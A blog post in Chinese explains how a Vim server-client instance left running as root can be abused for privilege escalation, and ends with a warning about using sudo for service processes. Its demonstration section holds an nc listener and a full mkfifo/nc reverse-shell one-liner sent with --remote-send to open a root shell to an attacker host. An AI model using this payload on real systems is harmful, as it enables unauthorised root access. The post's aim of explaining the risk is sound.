天天看點

VIM 通過 Server-Client 模式提權背景問題執行個體論證總結

背景

近期建立了一種新的工作流,就是使用 VIM 的 Server-Client 模式。在這個模式下,所有打開的檔案會被發送到同一個 VIM 視窗。這樣的好處很明顯,如果有多個視窗在編輯檔案,就需要到處切換,找想要的檔案,現在不用到處找了,都彙總在一起。我會使用

--remote-tab

在新的

vim tab

中加載新檔案,這樣非常直覺,友善管理。

但是有一個問題,就是非

root

使用者運作的

vim server

,是不能編輯系統檔案的(也就是所屬使用者是 root)。解決方法是,要使用

sudo

來運作

vim server

,這樣會帶來如下的安全隐患。

問題

仔細想一下,如果

vim

被設定了

suid

,那麼可以被用來提權。這裡面的道理就是你可以以

root

的身份來運作

vim

。其本質就和

root

運作

vim server

一樣了。

vim server

有這樣的特性,如果你運作一個

vim server

vim --servername SAMPLESRV
           

但是你在關閉終端視窗的時候,沒有退出

vim

,那麼這個

vim server

程序就會保持在背景繼續運作,就像一個

daemon

VIM 通過 Server-Client 模式提權背景問題執行個體論證總結

更糟糕的是,

vim server

可以開啟多個,他們都可以在不同程序共存。

VIM 通過 Server-Client 模式提權背景問題執行個體論證總結

所謂安全問題最薄弱的一環是人,隻要人一疏忽,就會留下很大的安全漏洞。就比如說,忘記清除以

root

身份運作的

vim server

執行個體論證

假設你已經以低權限進入了目标主機,然後檢視所有程序發現有一個

vim server

root

身份運作。

VIM 通過 Server-Client 模式提權背景問題執行個體論證總結

那麼很簡單,就像

vim

内可以使用

:!cmd

運作任意系統指令,

vim server

也可以通過

--remote-send

特性,來執行系統指令。例如:

vim --servername SAMPLESRV --remote-send ":split filename"
           

那麼 vim 就會以水準分割的方式打開新檔案。

綜上,就可以通過向

vim server

發送系統指令來擷取

root

權限的

reverse shell

本機監聽目标端口:

nc -lvnp 9999
           

然後向目标機器上以

root

身份運作的

vim server

發送指令。

vim --servername SAMPLESRV --remote-send ":! rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i | nc ip 9999 > /tmp/f<Enter>"
           

就能擷取目标機器的

reverse shell

,權限

root

VIM 通過 Server-Client 模式提權背景問題執行個體論證總結

總結

好像沒有多少人這樣使用 vim,但是既然存在,那麼也是一個

attack vector

總之,無論什麼系統指令,在涉及會生成服務程序的時候,一定要小心小心再小心地使用

sudo

繼續閱讀